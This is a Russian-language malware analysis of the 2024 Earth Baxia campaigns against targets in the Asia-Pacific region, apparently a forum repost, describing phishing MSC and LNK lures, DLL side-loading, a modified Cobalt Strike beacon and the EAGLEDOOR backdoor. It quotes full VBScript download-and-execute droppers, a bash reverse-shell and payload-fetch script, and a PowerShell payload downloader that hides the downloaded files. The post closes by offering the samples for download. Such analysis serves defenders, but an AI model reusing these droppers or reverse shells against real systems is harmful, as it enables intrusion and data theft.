strDownloadPath1 = "C:\Windows\Temp\Service.exe"
strDownloadPath2 = "C:\Windows\Temp\Service.exe.config"
strDownloadPath3 = "C:\Users\Public\win.ini"
strShowfilePath = "C:\Users\Public\Documents\Documents.pdf"
strExecutablePath = "C:\Windows\Temp\Service.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, False
objShell.Run strShowfilePath, 1, False
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub
Единственным компонентом, к которому имеется доступ, был файл
calc.exe, который хранился внутри общедоступной папки под именем win.ini. В ходе анализа не удалось восстановить большинство файлов (404), использованных в атаке.Кампания от 15 августа 2024 года
15 августа 2024 года файлreadme(解压密码).msc был загружен в VirusTotal. Имя файла readme(解压密码).msc можно перевести как readme(пароль_для_распаковки).mscSHA256:
f1d519f43c36e24a89b351f00059a1bdb9afc2a339f7301117babb484e2cc555.MSC файл содержит обфусцированный скрипт, из которого получается следующий вывод:
Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//app-dimensiona[.]s3[.]sa-east-1[.]amazonaws[.]com/oncesvc.exe"
strURL2 = "https[:]//bjj-files-production[.]s3[.]sa-east-1[.]amazonaws[.]com/msedge.dll"
strURL3 = "https[:]//app-dimensiona[.]s3[.]sa-east-1[.]amazonaws[.]com/oncesvc.exe.config"
strShowfileURL = "https[:]//app-dimensiona[.]s3[.]sa-east-1[.]amazonaws[.]com/readme.docx"
strDownloadPath1 = "C:\Users\Public\oncesvc.exe"
strDownloadPath2 = "C:\Users\Public\msedge.dll"
strDownloadPath3 = "C:\Users\Public\oncesvc.exe.config"
strShowfilePath = "C:\Users\Public\readme.docx"
strExecutablePath = "C:\Users\Public\oncesvc.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub
Эта кампания схожа с кампанией 2 августа, где файл
oncesvc.exe используется для загрузки вредоносной DLL, скачанной с: https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/af7ffc2a629a1c258336fde8a1f71e0a.json. Вредоносная DLL загружает 64-битный шеллкод с https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/2472dca8c48ab987e632e66caabf86502bf3.xml.64-битный шеллкод похож на тот, что наблюдался 2 августа, сервер C&C в этом случае -
api[.]s2cloud-amazon[.]com. POST-запрос, используемый в этом случае: {"user":"password1"}, немного отличается от кампании 2 августа. Снова шеллкод загрузил Marte Beacon с Cobalt Strike, который оказался той же версией, что наблюдалась в кампании 2 августа.Кампания от 20 августа 2024 года
20 августа 2024 года файлHướng dẫn và yêu cầu kiểm tra, giám sát hoạt động của từng đơn vị năm 2024.msc был загружен на VirusTotal.SHA256:
1e6c661d6981c0fa56c011c29536e57d21545fd11205eddf9218269ddf53d448.Кампания нацелена на Вьетнам, примерный перевод имени файла с вьетнамского:
Инструкции и требования по проверке и надзору за деятельностью каждого подразделения в 2024 году.mscMSC файл похож на те, что наблюдались в предыдущих кампаниях, файл
ONCESVC.EXE заменен на MUSICV.EXE. Конфигурационный файл такой же, как в кампании 15 августа, загружается тот же 64-битный шеллкод и тот же Marte Beacon с Cobalt Strike. Интересным является документ-приманка на тему "Вьетнамская нефть и газ":
Кампания 19 августа 2024 года
23 августа 2024 года файл贵州电视台张青副台长腐败内部视频证据.msc был загружен на VirusTotal.SHA256:
6be4dd9af27712f5ef6dc7d684e5ea07fa675b8cbed3094612a6696a40c664ce.Кампания, возможно, была нацелена на Францию и была проведена 19 августа 2024 года, перевод имени файла с китайского:
Внутренние видеодоказательства коррупции заместителя директора Чжан Цин телестанции Гуйчжоу.msc.MSC файл похож на тот, что наблюдался в предыдущей кампании 20 августа, где используется программа
MUSICV.EXE. В ходе анализа не удалось загрузить вредоносную DLL по ссылке https://speedshare.oss-cn-hongkong.aliyuncs[.]com/af7ffc2a629a1c258336fde8a1f71e0a.json. Ссылка та же, что и в кампании 20 августа.MSC файл содержит обфусцированный скрипт, из которого получается следующий вывод:
Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//proradead[.]s3[.]sa-east-1[.]amazonaws[.]com/new.exe"
strURL2 = "https[:]//proradead[.]s3[.]sa-east-1[.]amazonaws[.]com/new.exe.config"
strURL3 = "https[:]//proradead[.]s3[.]sa-east-1[.]amazonaws[.]com/new.txt"
strShowfileURL = "http[:]//152[.]42[.]226[.]161/stime/1x.mp4"
strDownloadPath1 = "C:\Users\Public\Music\musicx.exe"
strDownloadPath2 = "C:\Users\Public\Music\musicx.exe.config"
strDownloadPath3 = "C:\Users\Public\Music\music.txt"
strShowfilePath = "C:\Users\Public\proton.mp4"
strExecutablePath = "C:\Users\Public\Music\musicx.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, False
objShell.Run strShowfilePath, 1, False
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub
Внутри ZIP-файла (
guizhou.zip, SHA256: 0ba468400dd88b6dbe96407cb104f28876adb62805689d97de5d2650770ff39c), отправленного по электронной почте, содержащего файл 贵州电视台张青副台长腐败内部视频证据.msc, также присутствует файл 贵州电视台内部领导张青副台长腐败内幕.docx, который мы видим ниже:
Другие кампании в апреле и мае 2024 года
Анализ третьей стадии Marte Beacon с Cobalt Strike позволил связать злоумышленника с тремя другими кампаниями, запущенными между апрелем и маем:- 27 апреля 2024 (Филиппины)
- 7 мая 2024 (Филиппины)
- 17 мая 2024 (Вьетнам)
http://43.199.33[.]246:443/payload.binПри анализе IP
43.199.33[.]246 кампания 27 апреля была обнаружена через исполняемый файл с именем x1ffjiqd.exe, который загружал и выполнял следующие файлы:- http://43.199.33[.]246:443/payload.bin
- http://43.199.33[.]246:443/example.pdf
payload.bin является Marte Beacon с Cobalt Strike с C2-сервером visualstudio-microsoft[.]com и портом 443.В кампании 27 апреля использовалась следующая приманка:
А 7 мая такая:
В кампании 17 мая использовалась следующая приманка с именем
example.docx:
IP-адрес
43.199.33[.]246 также связан с ELF файлом (Linux), который загружает бэкдор, как мы можем видеть из фрагмента кода ниже:
Bash:
whoami > /tmp/test
curl -o /tmp/google_usb_ssh -s https[:]//xianggang000[.]oss-cn-hongkong[.]aliyuncs[.]com/linshi/grrond
chmod 777 /tmp/google_usb_ssh
/tmp/google_usb_ssh
rm /tmp/google_usb_ssh
bash -i >& /dev/tcp/43[.]199[.]33[.]246/4433 0>&1
wget https[:]//download[.]chrorne[.]com/error.logs
gedit error.logs
/dev/null -c /bin/sh
Киберпреступнику, вероятно, нужно было атаковать цель с ОС Linux. Этот bash-скрипт похож по поведению на скрипт VisualBasic, используемый внутри MSC файлов для Windows. В данном случае приманкой является отображение сообщения электронной почты, содержащегося в файле
error.logs.******
Анализ бэкдора
Cobalt Strike
Earth Baxia использует DLL side-loading для выполнения шелл-кода Cobalt Strike (Рисунок 6). Для обхода защиты загрузчик шелл-кода, известный как "SWORDLDR", расшифровывает полезную нагрузку и внедряет её в указанный процесс согласно встроенной конфигурации (Рисунок 7).
Рисунок 6. Расшифрованный шелл-код
Рисунок 7. Последовательность выполнения компонентов Cobalt Strike
Внедренный шелл-код представляет собой модифицированную версию Cobalt Strike. В отличие от стандартной полезной нагрузки Cobalt Strike, в модифицированной версии удален MZ-заголовок и изменены внутренние сигнатуры (Рисунок 8). Кроме того, структура конфигурации также была слегка изменена (Рисунок 9).
Рисунок 8. Различия в заголовках между стандартной (слева) и модифицированной (справа) версиями Cobalt Strike
Рисунок 9. Различия в структурах конфигурации между стандартной (слева) и модифицированной (справа) версиями Cobalt Strike
EAGLEDOOR
На стороне жертвы были собраны следующие наборы образцов:- Systemsetting.dll (загрузчик EAGLEDOOR)
- Systemsetting.exe
Злоумышленники применяют DLL side-loading для запуска загрузчика и выполнения EAGLEDOOR в памяти. В загрузчике находятся два зашифрованных DLL-файла в секции
.data:Hook.dll
Это модуль для перехвата определенного API с экспортируемой функциейMyCreateHook, предназначенный для перехвата часто вызываемых API (Рисунок 10). Когда происходит вызов перехваченного API, выполняется вредоносный модуль Eagle.dll.
Рисунок 10. Загрузчик применяет hook.dll для перехвата API-функций GetProcAddress, FreeLibrary и LdrUnloadDll
Eagle.dll
Последовательность выполнения кода при запускеEagle.dll показана ниже. Загрузчик расшифровывает этот модуль и выполняет первую экспортируемую функцию RunEagle в памяти (Рисунок 11).
Рисунок 11. Последовательность кода для запуска Eagle.dll в загрузчике
EAGLEDOOR поддерживает четыре метода коммуникации с C&C-сервером:
- DNS
- HTTP
- TCP
- Telegram
- getFile
- getUpdates
- sendDocument
- sendMessage
Эксфильтрация
Было обнаружено, что Earth Baxia архивирует собранные данные и осуществляет эксфильтрацию украденных данных с помощьюcurl.exe. Рисунок 12 демонстрирует случай эксфильтрации данных на их файловый сервер 152[.]42[.]243[.]170 посредством curl.
Рисунок 12. Процесс эксфильтрации с помощью curl.exe
Дополнительные наблюдения
Большинство фишинговых писем привлекают пользователей с помощью вложения. Однако, согласно телеметрии TrendMicro, некоторые фишинговые письма отправляются с фишинговой ссылкой, которая загружает ZIP-файл. На данный момент известно о четырех комбинациях на стадии первоначального доступа, как показано на Рисунке 13. Как файл MSC, так и файл LNK способны доставлять оба набора инструментов.
Рисунок 13. Известные комбинации при первоначальном доступе
В ходе расследования был найден сайт загрузки
static[.]krislab[.]site в LNK-файле. Он выполняет PowerShell-команду для загрузки документов-приманок и Cobalt Strike, который включает Edge.exe, msedge.dll и Logs.txt (Таблица 3). Этот набор инструментов аналогичен тому, который был упомянут ранее.Каждый zip-файл содержит LNK-файл с PowerShell-командой:
Код:
wget -Uri https://static.krislab.site/infodata/msedge.dll -OutFile C:\Users\Public\msedge.dll; wget -Uri http s://static.krislab.site/infodata/Logs.txt -OutFile C:\Users\Public\Logs.txt;wget -Uri https://static.krislab.site/infoda ta/Edge.exe -OutFile C:\Users\Public\Edge.exe;C:\Users\Public\Edge.exe;wget -Uri "https://static.krislab.site/infodata/yn.pdf" -OutFile "C:\Users\Public\邀請函.pdf";C:\Windows\System32\cmd.exe /c start /b "C:\Users\Public\邀請函.pdf";attrib +s +h C:\Users\Public\Edge.exe;attrib +s +h C:\Users\Public\Logs.txt;attrib +s +h C:\Users\Public\msedge.dll
| Дата обнаружения | Путь | Описание файла | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Июнь 21, 2024 |
|
| ||||||||||
| Июнь 25, 2024 | /infodata/break_1/06.pdf | Документ-приманка | ||||||||||
| Июнь 30, 2024 |
|
| ||||||||||
| Июль 2, 2024 |
|
| ||||||||||
| Август 15, 2024 |
|
|
Семплы
Семплы можно скачать здесь. Пароль местный.Вложения
Последнее редактирование: